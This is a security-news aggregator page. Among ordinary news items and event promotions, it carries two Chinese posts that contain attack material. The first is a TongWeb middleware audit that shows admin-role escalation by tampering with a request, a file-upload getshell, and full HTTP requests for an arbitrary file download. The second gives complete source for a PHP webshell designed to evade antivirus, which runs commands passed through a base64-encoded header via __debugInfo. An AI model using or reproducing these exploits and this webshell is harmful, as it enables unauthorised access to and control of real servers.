Aggregator
CAPTCHAs 101: what they are, how they work, and where they fall short
CAPTCHAs are the most recognizable anti-bot mechanism on the web. Whether you're logging into a game, signing up for a new service, or checking out online, chances are you've been asked to click on traffic lights, solve a puzzle, or interpret distorted letters. These tests—
The post CAPTCHAs 101: what they are, how they work, and where they fall short appeared first on Security Boulevard.
CISA Warns of Iranian Cyber Actors May Attack U.S. Critical Infrastructure
The Cybersecurity and Infrastructure Security Agency (CISA), along with the FBI, Department of Defense Cyber Crime Center, and National Security Agency, has issued an urgent warning regarding potential cyber attacks by Iranian-affiliated actors targeting U.S. critical infrastructure. Despite ongoing ceasefire negotiations and diplomatic efforts, these threat actors continue to pose significant risks to American networks […]
The post CISA Warns of Iranian Cyber Actors May Attack U.S. Critical Infrastructure appeared first on Cyber Security News.
TongWeb闭源中间件代码审计
应用服务器 TongWeb v7 全面支持 JavaEE7 及 JavaEE8规范,作为基础架构软件,位于操作系统与应用之间,帮助企业将业务应用集成在一个基础平台上,为应用高效、稳定、安全运行提供关键支撑,包括便捷的开发、随需应变的灵活部署、丰富的运行时监视、高效的管理等。
本文对该中间件部分公开在互联网,但未分析细节的漏洞,进行复现分析:
sysweb后台上传getshell:
在互联网搜索发现该版本存在sysweb后台文件下载,可惜却没有复现细节,且访问显示如下:
发现通过默认口令thanos/thanos123.com无法登录,且未发现任何相关的默认口令:
于是自己找到配置文件查看权限校验情况:
\sysweb\WEB-INF\web.xml:
发现配置情况如上,一切/*请求均需要admin权限才行,但目前互联网暂未发现任何其他相关权限账号,自己尝试admin相关弱口令也均为成功,于是继续寻找用户相关功能点:
点击安全服务--安全域管理:
点击该安全域:找到默认账户的thanos用户:
点击保存,查看数据包:
发现该账户的userRole为tongweb与sysweb要求的admin并不匹配,于是点击创建用户:
但并未发现可以随意设置用户的useRole,于是点击保存,并拦截数据包:
将空白的userRole设置为admin,并放包:
发现创建成功。于是尝试sysweb登录:
发现仅仅是如上页面,但是至少权限问题解决了。
接着返回sysweb的配置文件:
跟进分析:
发现未进行任何校验过滤,直接通过parseFileName()方法解析header获取文件名赋值给fileName。
构造如下文件上传数据包:
上传成功,shell加一:
任意文件下载漏洞:
默认账号密码:thanos/thanos123.com登录后台,在快照管理处存在下载功能点:
点击下载抓包查看:
下载文件打包成压缩包下载:
如上,疑似存在下载漏洞,跟进路由:
如上,先找到类级别的路径位置,注解表示由/rest/monitor/snapshots根路径发起的请求均会被该类处理。
随后再找到方法级别的路由位置,download的post请求均会被该方法处理:
可见该方法接收了前面数据包传输的参数filename,并赋值给snapshotname参数。
分析如上代码存在以下路径:
Path:根路径,由system.getProperty/temp/download组成
snapshotRootPath:由path/snapshotname组成。
随后进入AgentUtil.receiveFileOrDir()进行目标文件压缩,下载,且此处未进行任何校验:
但如果直接修改数据包filename进行任意文件下载依然会失败,因为紧接着代码进行了如下校验:
判断下载路径snapshotRootPath的父路径是否是path,也就是对snapshotname与path拼接后的路径进行校验,如果snapshotname值为../../或者为/a/b这种格式则无法通过校验,也就是限制了跨目录操作。
但回过头来查看具体下载操作:
是通过fileOrDir路径与snapshotRootPath进行文件下载的,查找location的值:
且发现location参数值可控:
于是先通过如下数据包修改location的值(修改为想任意下载的目录):
POST /console/rest/monitor/snapshots/setLocation HTTP/1.1Host: 192.168.73.130:9060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: http://192.168.73.130:9060
Connection: keep-alive
Referer: http://192.168.73.130:9060/console/rest
Cookie: console-c-4aff-9=EABC776A7845EFBDA555BAA1D078F628;
DWRSESSIONID=858h23g\$aEjH1iqRz1jnGBLe3rp
snapshot_location=D%3A%5CTongWeb7.42
随后再进行下载:
POST /console/rest/monitor/snapshots/download HTTP/1.1Host: 192.168.73.130:9060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0)
Gecko/20100101 Firefox/139.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.73.130:9060
Connection: keep-alive
Referer: http://192.168.73.130:9060/console/pages/monitor/snapshot.jsp
Cookie: console-c-4aff-9=429BD65834FAD60D489BC2F36DAF93C5;
DWRSESSIONID=jvSHNTT66zO2\$Hjyb4sFS7vYdrp
Upgrade-Insecure-Requests: 1
Priority: u=4
filename=conf
如下,下载成功:
这你敢信,复习PHP意外搞出一个免杀WebShell
正当我饶有性质的开始复习 PHP 开发这个课程准备一天速通期末考试的时候,没想到有心栽花花不开,无心插柳柳成因,意外灵感突发,搞出了一个还算可以的免杀的 webshell,下面讲讲思路
起当打开 php 复习考点的时候,发现还要考魔术方法,于是打开了好久没有翻过的 php 手册
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。
我们看了大多数魔术方法,都有自己会在某个契机出发
比如一些常规的
__construct(mixed ...$values = ""): voidPHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
会在实例化一个类的时候触发这个方法
__destruct(): voidPHP 有析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
会在对象销毁的时候执行这个方法
于是我们可以利用这个思路来实现一个命令条件执行的方法
比如看下面的例子
<?phpclass a{
public function __construct()
{
system("calc");
}
}
new a();
或者
<?phpclass a{
public function __destruct()
{
system("calc");
}
}
new a();
都可以弹出计算器
所以我们可以借助这个思路
但是这两个函数还是太常见了
我们找找其他函数
承于是开始找起来了
手册的方法都感觉太常规,而且都见过
首先需要免杀,那一定需要小众
不知道各位知不知道__debugInfo()这个魔术方法呢
下面介绍一下
__debugInfo(): array当通过 var_dump() 转储对象,获取应该要显示的属性的时候,该函数就会被调用。如果对象中没有定义该方法,那么将会展示所有的公有、受保护和私有的属性。
下面是它的使用例子
<?phpclass C {
private $prop;
public function __construct($val) {
$this->prop = $val;
}
public function __debugInfo() {
return [
'propSquared' => $this->prop ** 2,
];
}
}
var_dump(new C(42));
?>
我们按着改造一下
读懂了原理后我们尝试看看能不能执行命令
<?phpclass C {
private $prop;
public function __construct($val) {
$this->prop = $val;
}
public function __debugInfo() {
return [
'propSquared' => $this->prop ** 2,
];
system("calc");
}
}
var_dump(new C(42));
?>
但是并没有计算器弹出来,原来忘了 php 一个最基础的语法,return 后代码就不会执行了
但是尝试了还是不行,最后问 GPT 写了个例子看看环境是不是有问题
<?phpclass User {
private $username;
private $password; // 敏感信息,不想输出
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user); // 触发 __debugInfo()
输出应该是
object(User)#1 (3) {["username"]=>
string(5) "alice"
["info"]=>
string(33) "这是调试时返回的信息"
["timestamp"]=>
int(1725092384)
}
然后搜了很多,发现如果可能我们的 xdebug 配置会影响我们的这个输出,所以找了没有配置 xdebug 的
再次执行
可以看到已经有信息了
所以尝试执行命令
成功执行了命令
然后开始构造免杀 webshell
利用 SimpleXMLElement 解析 xml 文件来传入参数
最后搞出来的代码如下
<?phpclass User {
private $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
$xmlData = base64_decode(end(getallheaders()));
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user);
这里因为我懒得搭建调试环境了,我们把 header 传入的值直接设置为
<books><system>calc</system>
</books>
然后需要 base64 编码
<?phpclass User {
private $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
$xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user);
成功弹出计算器
这里我为了方便直接把从 header 头传入值修改为直接写入了
首先实例化我们的 user 类
然后
var_dump($user);在这个过程中,会触发__debugInfo
然后在这个过程中会解析 xml 数据
通过 SimpleXMLElement 的方法去截取我们需要的字符串,从而来构造一个命令执行
最后构造出我们的 webshell
长亭 微步 VIRUSTOTAL
CISA and U.S. Agencies warn of ongoing Iranian cyber threats to critical infrastructure
Покупали iPhone в Европе? Ваши документы уже продают в даркнете
Kawa
You must login to view this content
ISC.AI 2025 展区抢"鲜"看!解锁AI版商超市集的N种玩法
在AI浪潮奔涌向前的2025年,8月6-7日,ISC.AI 2025 这场全球“AI+安全”双域盛会将于北京国家会议中心启幕。大会不仅是汇集全球智慧、探讨前沿趋势的思想殿堂,其展区更是以颠覆性创新亮点,打造沉浸式科技体验空间,带您提前解锁未来 AI 世界的无限可能!
商超市集:”AI+安全”的一站式图景
区别于传统展会的单一模式,ISC.AI 2025展区采用商超设计,精心打造一座集合“AI+安全”的自由市集,为观众带来便捷高效、自由随心的参观体验。在这个“科技超市”里,各展位有序排列,以360、华为、商汤科技为代表的科技巨头企业将在此展示最新AI与安全领域的技术产品与解决方案,观众可自由穿梭其中,按需探索感兴趣的内容,深度领略 AI 科技的魅力。
更令人惊喜的是,纳米AI搜索赋能的便捷智能互动设备遍布自由市集。只需轻轻触碰,观众便能快速定位心仪展位,获取详尽信息。这种充满AI科技感的互动方式,打破了展位间的壁垒,为参展企业搭建起公平、开放、包容的展示舞台,也让观众能够一站式饱览AI科技精华。
展会期间,红衣大叔周鸿祎等行业领袖与网络红人还将亲临现场直播,与参会者亲密互动,共享 AI 打卡热潮与百万流量红利。
AI PARK:“智”趣共生的未来试验场
AI PARK 堪称本届大会上的未来试验场,TA将集合多元AI创新玩法于此。在这里,AI 技术不再是遥不可及的概念,而是化作触手可及的奇妙体验,让人得以窥见其为未来生活与工作注入的无限可能。
走进AI PARK,艾灸机器人、按摩机器人、舌诊机器人、家用啤酒机器人、人工智能助听器、摔倒检测摄像头、辅抱机器人等智能机器人组成的AI阵列率先映入眼帘。它们不仅能以流畅自然的语言与您畅谈古今、答疑解惑,更能凭借精密的机械结构完成复杂高难的任务,生动诠释着AI在智能机器人领域取得的重大突破。
此外,AI PARK还设置了一系列基于AI技术的沉浸式体验项目,在办公区,参会者有机会亲自体验AI同传、VR眼镜、AI搜索和AI浏览器等前沿技术如何助力上班族轻松提升办公效率;家庭区则将展示智能门铃、智能摄像头和智能手表等智能家居设备,让参会者亲身感受AI技术如何提升居家生活的舒适度和幸福感。而在智能驾驶体验区,参会者可以进入模拟驾驶舱,沉浸式体验智能驾驶如何改变出行;AI 艺术创作区同样精彩,观众输入创意关键词,AI便能生成绘画、音乐作品,让每个人都能体验艺术创作的乐趣。
ISC.AI 2025 展区将AI+安全的技术转化为可感知的空间。在这里,AI 不再是代码与芯片,而是能为老人辅抱的机械臂、为艺术家谱曲的算法、为城市守护安全的数字哨兵。8月6-7日,诚邀您莅临北京国家会议中心,共赴这场 AI 与安全的巅峰盛会,在 AI 奇幻之旅中,触摸未来世界的第一缕曙光!
Tumblr 搁置后端迁移到 WordPress 和联邦宇宙整合的计划
$4.8 трлн к 2033: open-source отбирает ИИ-рынок у западных гигантов
INC
You must login to view this content
AI Is Enhancing The Traditional Pentesting Approach – A Detailed Analysis
For a long time now, traditional pentesting has served as the backbone of proactive cyberdefense strategies across all industries flourishing in the digital realm. Pacing with the time where technology is making history- speed, accuracy, and foresight are paramount when it comes to cybersecurity. With organizations scaling and cyber threats evolving in complexity and frequency, […]
The post AI Is Enhancing The Traditional Pentesting Approach – A Detailed Analysis appeared first on Kratikal Blogs - Information Hub For Cyber Security Experts.
The post AI Is Enhancing The Traditional Pentesting Approach – A Detailed Analysis appeared first on Security Boulevard.